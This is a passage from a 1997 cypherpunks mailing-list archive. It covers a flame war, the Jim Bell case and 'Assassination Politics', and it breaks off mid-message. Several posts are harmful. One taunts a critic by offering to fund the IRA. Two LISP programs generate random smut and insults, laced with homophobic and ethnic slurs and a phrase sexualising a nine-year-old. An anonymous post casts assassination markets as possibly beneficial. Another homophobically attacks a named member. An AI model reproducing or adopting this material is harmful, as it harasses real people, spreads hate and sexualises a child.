17:31:59 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 17:31:59 -0700 (PDT) Subject: Fan mail from Hallam-Baker... In-Reply-To: <334920D5.ABD@ai.mit.edu> Message-ID: <67eT5D75w165w@bwalk.dm.com> >Sender: hallam at etna.ai.mit.edu >Message-Id: <334920D5.ABD at ai.mit.edu> >Date: Mon, 07 Apr 1997 12:29:09 -0400 >From: Hallam-Baker >X-Mailer: Mozilla 3.0 (X11; I; OSF1 V4.0 alpha) >Mime-Version: 1.0 >To: "Dr.Dimitri Vulis KOTM" >Subject: Re: I hope thr IRA nails Hallam-Baker... >References: <5i4971$iug at life.ai.mit.edu> >Content-Type: text/plain; charset=us-ascii >Content-Transfer-Encoding: 7bit > >You are now in very serious trouble. > >I have contacted the FBI and other agencies. You will encounter >difficulty in travelling to certain foreign countries. > >You may have put your own life at risk. The IRA is not the only >terrorist group in Ireland, its opponents make a point of assasinating >anyone who openly supports IRA activities. > > Phill. Paul, or someone in U.K. - I'd like to donate $1 to the IRA every time Hallam-Baker posts to this mailing list. Can someone please tell me a convenient way to send them donations? Thank you very much. From tcmay at got.net Mon Apr 7 17:37:19 1997 From: tcmay at got.net (Timothy C. May) Date: Mon, 7 Apr 1997 17:37:19 -0700 (PDT) Subject: Helping Prof. Jim Bell In-Reply-To: <5i0smu$75o@life.ai.mit.edu> Message-ID: At 5:01 PM -0600 4/7/97, Toto wrote: > Hallam-Baker is apparently incapable of understanding his own >trail of logic. > He tells us that freedom of speech is not the issue, and then >proceeds to tell us that Jim Bell was dealt with differently than >others for exercising his freedom of speech. Look, we know Jim Bell the writer. (Some people have met him and know him as Jim Bell the loon, according to their assessments here, but that's a different, though possibly relevant, point.) An error many are making here is to assume that Bell was searched because of his "Bell the writer" personna. This is clearly incorrect. The search warrants dealt with many issues, as have been detailed in several posts here, and in the stuff Greg Broiles put up in scanned format. Assuming that his writings here were the cause of the actions against him is just plain incorrect. His writings may have affected the assessment of "likelihood" and "intent," given the various other things, but how else should it be? One's spoken or written words may indeed be protected by the First, against prior restraint and censorship, but they can generally be used, if available. In my posts I've carefully avoided evaluating whether Bell will be found guilty of any actual crime...I don't know the evidence, or the legal code, well enough. I _have_ said that I don't find it _surprising" that the Feds would think him a plausible threat, at least worthy of a search. They may read his rants and ultimately decide his threats were not plausible. They may decide the chances of conviction aren't good. Who knows? Bell himself said he was not surprised. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dlv at bwalk.dm.com Mon Apr 7 17:45:42 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Mon, 7 Apr 1997 17:45:42 -0700 (PDT) Subject: Bot-generated insults In-Reply-To: Message-ID: Ray Arachelian writes: > It figures you wouldn't know any other language than BASIC, and nadly ^^^?? > written basic at that. I've seen better code written by chimpanzees. If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate network adiministrator", then I'm not surprised if they have chimpanzees writing Java code as well. I used to think that LISP is the best language for such apps, but wouldn't debase it by writing a simulation of a dandruff-covered Armenian in it. **************************************************************************** (DEF 'randomize '(LAMBDA () (SETQ RSEED (DTIME)) (SETQ RSEED (- RSEED (* 12345(/ RSEED 12345)))))) (DEF 'random '(LAMBDA (s) (SETQ RSEED (+ RSEED 911)) (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000)))) (+ 1 (- RSEED (* s (/ RSEED s)))) )) ~ (DEF 'statement '(LAMBDA () (SETQ R (random 020)) (COND ((EQ R 001) (PRINC "Let the games begin!")) ((EQ R 002) (PRINC "Sweet Jesus!")) ((EQ R 003) (PRINC "Not that!")) ((EQ R 004) (PRINC "At last!")) ((EQ R 005) (PRINC "Land O' Goshen!")) ((EQ R 006) (PRINC "Is that all?")) ((EQ R 007) (PRINC "Is it in?")) ((EQ R 008) (PRINC "Cheese it, the cops!")) ((EQ R 009) (PRINC "I never dreamed it could be like this!")) ((EQ R 010) (PRINC "If I do, you won't respect me!")) ((EQ R 011) (PRINC "Oh my God!")) ((EQ R 012) (PRINC "Now!")) ((EQ R 013) (PRINC "Open Sesame!")) ((EQ R 014) (PRINC "Pomade!")) ((EQ R 015) (PRINC "Harder!")) ((EQ R 016) (PRINC "Faster!")) ((EQ R 017) (PRINC "Again!")) ((EQ R 018) (PRINC "Help!")) ((EQ R 019) (PRINC "Ay de mi!")) ((EQ R 020) (PRINC "Deeper!")) ))) (DEF 'said '(LAMBDA () (SETQ R (random 018)) (COND ((EQ R 001) (PRINC " cried")) ((EQ R 002) (PRINC " bellowed")) ((EQ R 003) (PRINC " yelped")) ((EQ R 004) (PRINC " croaked")) ((EQ R 005) (PRINC " growled")) ((EQ R 006) (PRINC " panted")) ((EQ R 007) (PRINC " moaned")) ((EQ R 008) (PRINC " grunted")) ((EQ R 009) (PRINC " laughed")) ((EQ R 010) (PRINC " warbled")) ((EQ R 011) (PRINC " sighed")) ((EQ R 012) (PRINC " ejaculated")) ((EQ R 013) (PRINC " whispered")) ((EQ R 014) (PRINC " stammered")) ((EQ R 015) (PRINC " wheezed")) ((EQ R 016) (PRINC " squealed")) ((EQ R 017) (PRINC " whimpered")) ((EQ R 018) (PRINC " pleaded")) ))) (DEF 'girl '(LAMBDA () (SETQ R (random 011)) (COND ((EQ R 001) (PRINC "saucy baggage")) ((EQ R 002) (PRINC "wanton hussy")) ((EQ R 003) (PRINC "unfortunate woman")) ((EQ R 004) (PRINC "lust-crazed duchess")) ((EQ R 005) (PRINC "female impersonator")) ((EQ R 006) (PRINC "nine-year-old nymphomaniac")) ((EQ R 007) (PRINC "45-year-old virgin bull-dyke")) ((EQ R 008) (PRINC "leather freak")) ((EQ R 009) (PRINC "home-cumming queen")) ((EQ R 010) (PRINC "defrocked nun")) ((EQ R 011) (PRINC "bisexual budgie")) ))) (DEF 'adj-1 '(LAMBDA () (SETQ R (random 014)) (COND ((EQ R 001) (PRINC "thrashing")) ((EQ R 002) (PRINC "slurping")) ((EQ R 003) (PRINC "insatiable")) ((EQ R 004) (PRINC "rabid")) ((EQ R 005) (PRINC "satanic")) ((EQ R 006) (PRINC "corpulent")) ((EQ R 007) (PRINC "nose-grooming")) ((EQ R 008) (PRINC "tripe-fondling")) ((EQ R 009) (PRINC "dribbling")) ((EQ R 010) (PRINC "spread-eagled")) ((EQ R 011) (PRINC "orally fixated")) ((EQ R 012) (PRINC "vile")) ((EQ R 013) (PRINC "awesomely endowed")) ((EQ R 014) (PRINC "strapping")) ))) (DEF 'boy '(LAMBDA () (SETQ R (random 020)) (COND ((EQ R 001) (PRINC " rakehell")) ((EQ R 002) (PRINC " black panther")) ((EQ R 003) (PRINC " hunchback")) ((EQ R 004) (PRINC " friar")) ((EQ R 005) (PRINC " archduke")) ((EQ R 006) (PRINC " midget")) ((EQ R 007) (PRINC " great dane")) ((EQ R 008) (PRINC " stallion")) ((EQ R 009) (PRINC " donkey")) ((EQ R 010) (PRINC " electric eel")) ((EQ R 011) (PRINC " lecherous")) ((EQ R 012) (PRINC " lickspittle")) ((EQ R 013) (PRINC " faggot butler")) ((EQ R 014) (PRINC " paraplegic")) ((EQ R 015) (PRINC " pothead")) ((EQ R 016) (PRINC " dirty old man")) ((EQ R 017) (PRINC " black-power advocate")) ((EQ R 018) (PRINC " follicle fetishist")) ((EQ R 019) (PRINC " egg-sucking chicken flicker")) ((EQ R 020) (PRINC " hired hand")) ))) (DEF 'verb-1 '(LAMBDA () (SETQ R (random 011)) (COND ((EQ R 001) (PRINC " plundered")) ((EQ R 002) (PRINC " diddled")) ((EQ R 003) (PRINC " devoured")) ((EQ R 004) (PRINC " fondled")) ((EQ R 005) (PRINC " mouthed")) ((EQ R 006) (PRINC " tongued")) ((EQ R 007) (PRINC " lashed")) ((EQ R 008) (PRINC " tweaked")) ((EQ R 009) (PRINC " violated")) ((EQ R 010) (PRINC " defiled")) ((EQ R 011) (PRINC " irrigated")) ))) (DEF 'adj-2 '(LAMBDA () (SETQ R (random 012)) (COND ((EQ R 001) (PRINC "alabaster")) ((EQ R 002) (PRINC "pink-tipped")) ((EQ R 003) (PRINC "creamy")) ((EQ R 004) (PRINC "rosebud")) ((EQ R 005) (PRINC "moist")) ((EQ R 006) (PRINC "throbbing")) ((EQ R 007) (PRINC "juicy")) ((EQ R 008) (PRINC "heaving")) ((EQ R 009) (PRINC "straining")) ((EQ R 010) (PRINC "mammoth")) ((EQ R 011) (PRINC "succulent")) ((EQ R 012) (PRINC "quivering")) ))) (DEF 'tits '(LAMBDA () (SETQ R (random 013)) (COND ((EQ R 001) (PRINC " schnoobies")) ((EQ R 002) (PRINC " globes")) ((EQ R 003) (PRINC " melons")) ((EQ R 004) (PRINC " mounds")) ((EQ R 005) (PRINC " buds")) ((EQ R 006) (PRINC " paps")) ((EQ R 007) (PRINC " chubbies")) ((EQ R 008) (PRINC " protruberances")) ((EQ R 009) (PRINC " treasures")) ((EQ R 010) (PRINC " bum")) ((EQ R 011) (PRINC " bung")) ((EQ R 012) (PRINC " vestibule")) ((EQ R 013) (PRINC " armpits")) ))) (DEF 'verb-2 '(LAMBDA () (SETQ R (random 011)) (COND ((EQ R 001) (PRINC "plunged")) ((EQ R 002) (PRINC "thrust")) ((EQ R 003) (PRINC "squeezed")) ((EQ R 004) (PRINC "pounded")) ((EQ R 005) (PRINC "drove")) ((EQ R 006) (PRINC "eased")) ((EQ R 007) (PRINC "slid")) ((EQ R 008) (PRINC "hammered")) ((EQ R 009) (PRINC "squished")) ((EQ R 010) (PRINC "crammed")) ((EQ R 011) (PRINC "slammed")) ))) (DEF 'adj-3 '(LAMBDA () (SETQ R (random 018)) (COND ((EQ R 001) (PRINC "bursting")) ((EQ R 002) (PRINC "jutting")) ((EQ R 003) (PRINC "glistening")) ((EQ R 004) (PRINC "brobdingnagian")) ((EQ R 005) (PRINC "prodigious")) ((EQ R 006) (PRINC "purple")) ((EQ R 007) (PRINC "searing")) ((EQ R 008) (PRINC "swollen")) ((EQ R 009) (PRINC "rigid")) ((EQ R 010) (PRINC "rampaging")) ((EQ R 011) (PRINC "warty")) ((EQ R 012) (PRINC "steaming")) ((EQ R 013) (PRINC "gorged")) ((EQ R 014) (PRINC "trunklike")) ((EQ R 015) (PRINC "foaming")) ((EQ R 016) (PRINC "spouting")) ((EQ R 017) (PRINC "swinish")) ((EQ R 018) (PRINC "red-hot")) ))) (DEF 'prick '(LAMBDA () (SETQ R (random 024)) (COND ((EQ R 001) (PRINC " prosthesis")) ((EQ R 002) (PRINC " intruder")) ((EQ R 003) (PRINC " prong")) ((EQ R 004) (PRINC " stump")) ((EQ R 005) (PRINC " member")) ((EQ R 006) (PRINC " meatloaf")) ((EQ R 007) (PRINC " majesty")) ((EQ R 008) (PRINC " bowsprit")) ((EQ R 009) (PRINC " earthmover")) ((EQ R 010) (PRINC " jackhammer")) ((EQ R 011) (PRINC " ramrod")) ((EQ R 012) (PRINC " cod")) ((EQ R 013) (PRINC " jabber")) ((EQ R 014) (PRINC " gusher")) ((EQ R 015) (PRINC " engine")) ((EQ R 016) (PRINC " brownie")) ((EQ R 017) (PRINC " joy stick")) ((EQ R 018) (PRINC " plunger")) ((EQ R 019) (PRINC " piston")) ((EQ R 020) (PRINC " tool")) ((EQ R 021) (PRINC " manhood")) ((EQ R 022) (PRINC " lollipop")) ((EQ R 023) (PRINC " kidney prodder")) ((EQ R 043) (PRINC " device")) ))) (DEF 'adj-4 '(LAMBDA () (SETQ R (random 010)) (COND ((EQ R 001) (PRINC "pulsing")) ((EQ R 002) (PRINC "hungry")) ((EQ R 003) (PRINC "hymeneal")) ((EQ R 004) (PRINC "palpitating")) ((EQ R 005) (PRINC "gaping")) ((EQ R 006) (PRINC "slavering")) ((EQ R 007) (PRINC "welcoming")) ((EQ R 008) (PRINC "glutted")) ((EQ R 009) (PRINC "gobbling")) ((EQ R 010) (PRINC "cobwebby")) ))) (DEF 'cunt '(LAMBDA () (SETQ R (random 017)) (COND ((EQ R 001) (PRINC " swamp")) ((EQ R 002) (PRINC " honeypot")) ((EQ R 003) (PRINC " jam jar")) ((EQ R 004) (PRINC " butterbox")) ((EQ R 005) (PRINC " furburger")) ((EQ R 006) (PRINC " cherry pie")) ((EQ R 007) (PRINC " cush")) ((EQ R 008) (PRINC " slot")) ((EQ R 009) (PRINC " slit")) ((EQ R 010) (PRINC " cockpit")) ((EQ R 011) (PRINC " damp")) ((EQ R 012) (PRINC " furrow")) ((EQ R 013) (PRINC " sanctum sanctorum")) ((EQ R 014) (PRINC " bearded clam")) ((EQ R 015) (PRINC " continental divide")) ((EQ R 016) (PRINC " paradise valley")) ((EQ R 017) (PRINC " wanton desire")) ))) (DEF 'smut '(LAMBDA () (PRINC '\") (statement) (PRINC '\") (said) (PRINC " the ") (girl) (PRINC " as the ") (adj-1) (boy) (verb-1) (PRINC " her ") (adj-2) (tits) (PRINC " and ") (verb-2) (PRINC " his ") (adj-3) (prick) (PRINC " into her ") (adj-4) (cunt) (PRINC ".") (TERPRI) )) (randomize) **************************************************************************** ~Pseudo-random 1 to s (DEF 'randomize '(LAMBDA () (SETQ RSEED (DTIME)) (SETQ RSEED (- RSEED (* 12345(/ RSEED 12345)))))) (DEF 'random '(LAMBDA (s) (SETQ RSEED (+ RSEED 911)) (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000)))) (+ 1 (- RSEED (* s (/ RSEED s)))) )) (DEF 'adj-phrase '(LAMBDA () (PROG () LOOP-adj (SETQ R (random 124)) (PRINC (COND ((EQ R 001) "stinking") ((EQ R 002) "little") ((EQ R 003) "smelly") ((EQ R 004) "ugly") ((EQ R 005) "bisexual") ((EQ R 006) "deranged") ((EQ R 007) "revolting") ((EQ R 008) "sickening") ((EQ R 009) "disgusting") ((EQ R 010) "perverted") ((EQ R 011) "stupid") ((EQ R 012) "illiterate") ((EQ R 013) "flea-bitten") ((EQ R 014) "depraved") ((EQ R 015) "uncouth") ((EQ R 016) "bad breathed") ((EQ R 017) "pitiful") ((EQ R 018) "dumpy") ((EQ R 019) "offensive") ((EQ R 020) "dim witted") ((EQ R 021) "loathsome") ((EQ R 022) "insignificant") ((EQ R 023) "blithering") ((EQ R 024) "repulsive") ((EQ R 025) "worthless") ((EQ R 026) "blundering") ((EQ R 027) "retarded") ((EQ R 028) "useless") ((EQ R 029) "obnoxious") ((EQ R 030) "low budget") ((EQ R 031) "asisine") ((EQ R 032) "neurotic") ((EQ R 033) "subhuman") ((EQ R 034) "crochety") ((EQ R 035) "indescribable") ((EQ R 036) "contemptible") ((EQ R 037) "unspeakable") ((EQ R 038) "sick") ((EQ R 039) "lazy") ((EQ R 040) "good for nothing)") ((EQ R 041) "slutty") ((EQ R 042) "spastic") ((EQ R 043) "creepy") ((EQ R 044) "sloppy") ((EQ R 045) "dumb") ((EQ R 046) "predictable") ((EQ R 047) "atrocious") ((EQ R 048) "grotesque") ((EQ R 049) "ungodly") ((EQ R 050) "feeble-minded") ((EQ R 051) "clueless") ((EQ R 052) "demented") ((EQ R 053) "bewildered") ((EQ R 054) "outrageous") ((EQ R 055) "deranged") ((EQ R 056) "confused") ((EQ R 057) "miserable") ((EQ R 058) "detestable") ((EQ R 059) "annoying") ((EQ R 060) "shameless") ((EQ R 061) "ignorant") ((EQ R 062) "despicable") ((EQ R 063) "insane") ((EQ R 064) "tiny brained") ((EQ R 065) "oblivious") ((EQ R 066) "hopeless") ((EQ R 067) "god-awful") ((EQ R 068) "bungling") ((EQ R 069) "appalling") ((EQ R 070) "lackluster") ((EQ R 071) "skaggy") ((EQ R 072) "brainless") ((EQ R 073) "boring") ((EQ R 074) "uncultivated") ((EQ R 075) "inadequate") ((EQ R 076) "inhuman") ((EQ R 077) "self-exalting") ((EQ R 078) "testy") ((EQ R 079) "irresponsible") ((EQ R 080) "mentally deficient") ((EQ R 081) "disdainful") ((EQ R 082) "friendless") ((EQ R 083) "dreadfull") ((EQ R 084) "psychotic") ((EQ R 085) "opinionated") ((EQ R 086) "monotonous") ((EQ R 087) "disgraceful") ((EQ R 088) "preposterous") ((EQ R 089) "totally tacky") ((EQ R 090) "uneducated") ((EQ R 091) "rediculous") ((EQ R 092) "double ugly") ((EQ R 093) "irrational") ((EQ R 094) "cranky") ((EQ R 095) "goofy") ((EQ R 096) "crude") ((EQ R 097) "embarrassing") ((EQ R 098) "deeply disturbed)") ((EQ R 099) "inept") ((EQ R 100) "undisciplined") ((EQ R 101) "crooked") ((EQ R 102) "pathetic") ((EQ R 103) "infantile") ((EQ R 104) "witless") ((EQ R 105) "indecent") ((EQ R 106) "infuriating") ((EQ R 107) "unimpressive") ((EQ R 108) "insufferable") ((EQ R 109) "dismal") ((EQ R 110) "erratic") ((EQ R 111) "incapable") ((EQ R 112) "hallucinating") ((EQ R 113) "pompous") ((EQ R 114) "pitiable") ((EQ R 115) "slovenly") ((EQ R 116) "laughable") ((EQ R 117) "bad tempered") ((EQ R 118) "decrepit") ((EQ R 119) "bizarre") ((EQ R 120) "driveling") ((EQ R 121) "uncultured") ((EQ R 122) "cantankerous") ((EQ R 123) "hypocritical") ((EQ R 124) "sleazy"))) (COND ( (LT(random 3) 3) (PRINC ", ") (GO LOOP-adj)) ( T (PRINC " ")) )))) (DEF 'noun '(LAMBDA () (COND ((EQ (random 4) 1) (SETQ R (random 15)) (PRINC (COND ((EQ R 01) "twit") ((EQ R 02) "bastard") ((EQ R 03) "fool") ((EQ R 04) "idiot") ((EQ R 05) "cretin") ((EQ R 06) "dolt") ((EQ R 07) "moron") ((EQ R 08) "degenerate") ((EQ R 09) "mutant") ((EQ R 09) "asshole") ((EQ R 10) "imbecile") ((EQ R 11) "incompetent") ((EQ R 12) "failure") ((EQ R 13) "noncompoop") ((EQ R 14) "pothead") ((EQ R 15) "wiper of other peoples' behinds")))) (T(SETQ R (random 30)) (PRINC (COND ((EQ R 01) "lump") ((EQ R 02) "crock") ((EQ R 03) "ball") ((EQ R 04) "mass") ((EQ R 05) "tub") ((EQ R 06) "loaf") ((EQ R 07) "bucket") ((EQ R 08) "mound") ((EQ R 09) "bunch") ((EQ R 10) "stack") ((EQ R 11) "glob") ((EQ R 12) "bag") ((EQ R 13) "heap") ((EQ R 14) "mountain") ((EQ R 15) "load") ((EQ R 16) "toilet full") ((EQ R 17) "barrel") ((EQ R 18) "sack") ((EQ R 19) "blob") ((EQ R 20) "pile") ((EQ R 21) "clump") ((EQ R 22) "shovel full") ((EQ R 23) "cake") ((EQ R 24) "bowl") ((EQ R 25) "wheelbarrel full") ((EQ R 26) "box") ((EQ R 27) "crate") ((EQ R 28) "collection") ((EQ R 29) "truckload") ((EQ R 30) "vat") )) (PRINC " of ") (SETQ R (random 69)) (PRINC (COND ((EQ R 01) "stale ") ((EQ R 02) "foul ") ((EQ R 03) "fossilized ") ((EQ R 04) "festering ") ((EQ R 05) "steaming ") ((EQ R 06) "gross ") ((EQ R 07) "reasty ") ((EQ R 08) "recycled ") ((EQ R 09) "mildewed ") ((EQ R 10) "raunchy ") ((EQ R 11) "putrid ") ((EQ R 12) "moldy ") ((EQ R 13) "synthetic ") ((EQ R 14) "filthy ") ((EQ R 15) "soppy ") ((EQ R 16) "radioactive ") ((EQ R 17) "infested ") ((EQ R 18) "septic ") ((EQ R 19) "crusty ") ((EQ R 20) "smelly ") ((EQ R 21) "dirty ") ((EQ R 22) "rotten ") ((EQ R 23) "crumby ") ((EQ R 24) "musty ") ((EQ R 25) "second-hand ") ((EQ R 26) "fly-covered ") ((EQ R 27) "imitation ") ((EQ R 28) "moth-eaten ") ((EQ R 29) "pureed ") ((EQ R 30) "decaying ") ((EQ R 31) "decomposed ") ((EQ R 32) "freeze dried ") ((EQ R 33) "soggy ") ((EQ R 34) "petrified ") ((EQ R 35) "seething ") ((EQ R 36) "stinking ") ((EQ R 37) "clammy ") ((EQ R 38) "dehydrated ") ((EQ R 39) "polluted ") ((EQ R 40) "lousy ") ((EQ R 41) "stenchy ") ((EQ R 42) "malignant ") ((EQ R 43) "noxious ") ((EQ R 44) "grimy ") ((EQ R 45) "fusty ") ((EQ R 46) "reeky ") ((EQ R 47) "nasty ") ((EQ R 48) "mutilated ") ((EQ R 49) "sloppy ") ((EQ R 50) "fresh ") ((EQ R 51) "gruesome ") ((EQ R 52) "foreign ") ((EQ R 53) "grisly ") ((EQ R 54) "sloshy ") ((EQ R 55) "dusky ") ((EQ R 56) "wormy ") ((EQ R 57) "mealy ") ((EQ R 58) "defective ") ((EQ R 59) "spoiled ") ((EQ R 60) "contaminated ") ((EQ R 61) "sun-ripened ") ((EQ R 62) "rancid ") ((EQ R 63) "old ") ((EQ R 64) "fermenting ") ((EQ R 65) "industrial-strength ") ((EQ R 66) "flea-bitten ") ((EQ R 67) "nauseating ") ((EQ R 68) "decomposing ") ((EQ R 69) "unimaginable ") )) (SETQ R (random 91)) (PRINC (COND ((EQ R 01) "pig bowels") ((EQ R 02) "walrus blubber") ((EQ R 03) "dog barf") ((EQ R 04) "coyote snot") ((EQ R 05) "carp guts") ((EQ R 06) "skunk waste") ((EQ R 07) "camel fleas") ((EQ R 08) "llama spit") ((EQ R 09) "rat boogers") ((EQ R 10) "toe jam") ((EQ R 11) "maggot guts") ((EQ R 12) "dog meat") ((EQ R 13) "ear wax") ((EQ R 14) "nose nuggets") ((EQ R 15) "swine remains") ((EQ R 16) "rubbish") ((EQ R 17) "goat carcusses") ((EQ R 18) "sewage") ((EQ R 19) "zit cheese") ((EQ R 20) "vulture gizzards") ((EQ R 21) "hogwash") ((EQ R 22) "navel lint") ((EQ R 23) "gutter mud") ((EQ R 24) "leprousy scabs") ((EQ R 25) "nasal hairs") ((EQ R 26) "garbage") ((EQ R 27) "elephant plaque") ((EQ R 28) "slug slime") ((EQ R 29) "buzzard barf") ((EQ R 30) "jock straps") ((EQ R 31) "parrot droppings") ((EQ R 32) "camel manure") ((EQ R 33) "chicken guts") ((EQ R 34) "underwear") ((EQ R 35) "compost") ((EQ R 36) "pig droppings") ((EQ R 37) "rabbit raisins") ((EQ R 38) "turkey puke") ((EQ R 39) "whale waste") ((EQ R 40) "hippo vomit") ((EQ R 41) "pimple pus") ((EQ R 42) "dog phlegm") ((EQ R 43) "buffalo chips") ((EQ R 44) "weasel warts") ((EQ R 45) "shark snot") ((EQ R 46) "swamp mud") ((EQ R 47) "tripe") ((EQ R 48) "pig hickies") ((EQ R 49) "fish lips") ((EQ R 50) "cockroaches") ((EQ R 51) "dandruff flakes") ((EQ R 52) "rodent droppings") ((EQ R 53) "carrion") ((EQ R 54) "monkey zits") ((EQ R 55) "horse puckies") ((EQ R 56) "pig slop") ((EQ R 57) "sewer seepage") ((EQ R 58) "armpit hairs") ((EQ R 59) "ape puke") ((EQ R 60) "frog fat") ((EQ R 61) "bug parts") ((EQ R 62) "mule froth") ((EQ R 63) "hog livers") ((EQ R 64) "camel flops") ((EQ R 65) "sludge") ((EQ R 66) "pimple squeezings") ((EQ R 67) "toad tumors") ((EQ R 68) "sweat socks") ((EQ R 69) "bat guano") ((EQ R 70) "rat cysts") ((EQ R 71) "moose entrails") ((EQ R 72) "foot fungus") ((EQ R 73) "buzzard leavings") ((EQ R 74) "eel guts") ((EQ R 75) "maggot brains") ((EQ R 76) "sinus clots") ((EQ R 77) "stable sweepings") ((EQ R 78) "drain clogs") ((EQ R 79) "cigar butts") ((EQ R 80) "pigeon bombs") ((EQ R 81) "cow cud") ((EQ R 82) "snake innards") ((EQ R 83) "spitoon spillage") ((EQ R 84) "barf curds") ((EQ R 85) "maggot fodder") ((EQ R 86) "nose pickings") ((EQ R 87) "cow pies") ((EQ R 88) "puke lumps") ((EQ R 89) "hog swill") ((EQ R 90) "sinus drainage") ((EQ R 91) "lizard bums") )) )))) (DEF 'directional-verb '(LAMBDA () (SETQ R (random 5)) (PRINC (COND ((EQ R 1) "puke") ((EQ R 2) "vomit") ((EQ R 3) "fart") ((EQ R 4) "piss") ((EQ R 5) "shout obscenities"))))) (DEF 'direction '(LAMBDA () (SETQ R (random 3)) (PRINC (COND ((EQ R 1) " at you") ((EQ R 2) " in your face") ((EQ R 2) " in your general direction"))))) (DEF 'verb-phrase '(LAMBDA () (SETQ R (random 5)) (COND ((EQ R 1) (directional-verb) (direction)) ((EQ R 2) (PRINC "cry")) ((EQ R 3) (PRINC "weep")) ((EQ R 4) (PRINC "scream")) ((EQ R 5) (PRINC "commit gross abominations")) ))) (DEF 'suggestion '(LAMBDA () (SETQ R (random 6)) (PRINC (COND ((EQ R 1) "crawl back under a rock") ((EQ R 2) "go back whence you came from") ((EQ R 3) "die abd leave us in peace") ((EQ R 4) "go jump in a lake") ((EQ R 5) "take a long walk off a short pier") ((EQ R 6) "do yourself a favor and drop dead") )))) (DEF 'proper-name '(LAMBDA () (SETQ R (random 5)) (PRINC (COND ((EQ R 1) "Alan Turing") ((EQ R 2) "Marvin Minsky") ((EQ R 3) "Douglas Hofstadter") ((EQ R 4) "your best friend") ((EQ R 4) "a large crowd of graduate students")) ))) (DEF 'abuse '(LAMBDA () (PRINC "You ") (adj-phrase) (noun) (PRINC ". ") (SETQ RR (random 4)) (COND ((EQ RR 1) (PRINC "May ") (proper-name) (PRINC " ") (directional-verb) (direction) (PRINC ". ")) ((EQ RR 2) (PRINC "Whenever I see you, I want to ") (verb-phrase) (PRINC ". ")) ((EQ RR 3) (PRINC "Why don't you ") (suggestion) (PRINC ". ")) ((EQ RR 4) (PRINC "Please, ") (suggestion) (PRINC ". ")) ))) (randomize) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From cynthb at sonetis.com Mon Apr 7 17:58:16 1997 From: cynthb at sonetis.com (Cynthia H. Brown) Date: Mon, 7 Apr 1997 17:58:16 -0700 (PDT) Subject: From the "pissing up a rope" file... In-Reply-To: Message-ID: <199704080058.UAA21322@homer.iosphere.net> On Fri, 4 Apr 1997, Robert Hettinga wrote: > I thought some people on the list might feel very strongly about this > issue and would like to cast their vote. > > The NBC Interactive Question of the Week: > > Should there be one international group that governs and controls web > content? Results pasted in from http://www.nbceurope.com/ Now, here are the results from last week's question which asked.... Should there be one international group that governs and controls web content? 85% said no... while 15% said yes. Interesting that the "sheeple factor" was as high as 15%. (Or was it higher? Did 20 cypherpunks submit "no" 100 times each?) This poll was accurate within 100%, 19 times out of 20 ;-) , but it will still serve as fodder for someone's News Breaking Story. At the very least they could have implemented a "have-you-voted-yet" cookie to weed out the technologically impaired who might want to vote twice. Cynthia From lucifer at dhp.com Mon Apr 7 18:00:38 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 7 Apr 1997 18:00:38 -0700 (PDT) Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him. Message-ID: <199704080100.VAA21197@dhp.com> Adam Back wrote: > I see lots of discussion of AP. However I see lots of people > discussing cautiously, couching it in terms of: > game theory, or intellectual possibility > or dismissing it as impractical. > > Perhaps I'm just imagining things, but it would seem to me that if one > had in the past made comments on the list suggesting that AP might > even be a _good thing_, Jim Bell's experience might make one think now > was be a good time to disclaim that one was talking theoretically. Jim *who*??? > I've viewed several posters comments on AP ever since Jim Bell got > involved in discussing anonymous markets in illegal services as being > careful to stay on the side of speech. > It is almost as if they are afraid to discuss openly their views on > the subject. This doesn't stop them from castigating those who post anonymously in regard to this subject. (As if not wanting to face 20 armed government agents who consider you "armed and dangerous" {i.e. shoot first and ask questions later} somehow negates their facts and logic.) > Democracy is one person one vote, however this is skewed in most > democracies by numerous factors: corporate lobbying, media influence, > and people who are easily influenced by media. > > AP is one $ one vote. Theoretically rich people could out-vote their > rivals. So the end result might well be, not the assassination of those involved, but the lessening of their power by virtue of depleting their funds, which leads to a more equal playing field. > Game theoretically: AP may be a good thing for you personally if the > reduction in power of groups targetted by AP bets was beneficial > enough to you to cancel out the negative aspects of you yourself being > targetted, and the negative aspects of living in the resulting > society. Green Peace might serve as a good example of this. A sufficient number of individuals contributing small amounts to the pool might not be able to negate the total funds available to whaling companies, but they might be able to impact the profit margin sufficiently that they would not be able to extinct the species. > I'm not too sure what the outcome would be. All sorts of people might get > targetted by all kinds of unanticipated groups of the populace. Will the > mafia join the fray, and offer insurance against having a contract taken out > on yourself? Will the government join in and take out hits on GAK > dissenters and free speech activists? Will corporations get rid of > embarassing whistleblowers? Will irritating media starlets get offed? > > We have no way of knowing whether the outcome would be "a good thing" by any > chosen metric. But the results would be a far cry more interesting than reruns of Gilligan's Island. TruthMonger (#7 - the 'sane' one) From lucifer at dhp.com Mon Apr 7 18:09:43 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 7 Apr 1997 18:09:43 -0700 (PDT) Subject: ElGamal Message-ID: <199704080109.VAA22604@dhp.com> Tim C[ocksucker] Mayhem is widely recognized on the net, because of his frequent vitriolic postings, as someone/thing ready to cut off his own penis to spite the testicles, although his friends recognize him better from the rear. /\ /..\ Tim C[ocksucker] Mayhem /_\/_\ From lucifer at dhp.com Mon Apr 7 19:00:45 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Mon, 7 Apr 1997 19:00:45 -0700 (PDT) Subject: New Paper by Ron Rivest Message-ID: <199704080200.WAA29368@dhp.com> Robert Hettinga wrote: > > From: "Phillip M. Hallam-Baker" > To: "Micropay (E-mail)" > Subject: New Paper by Ron Rivest This interplay between C2Net schills and MIT 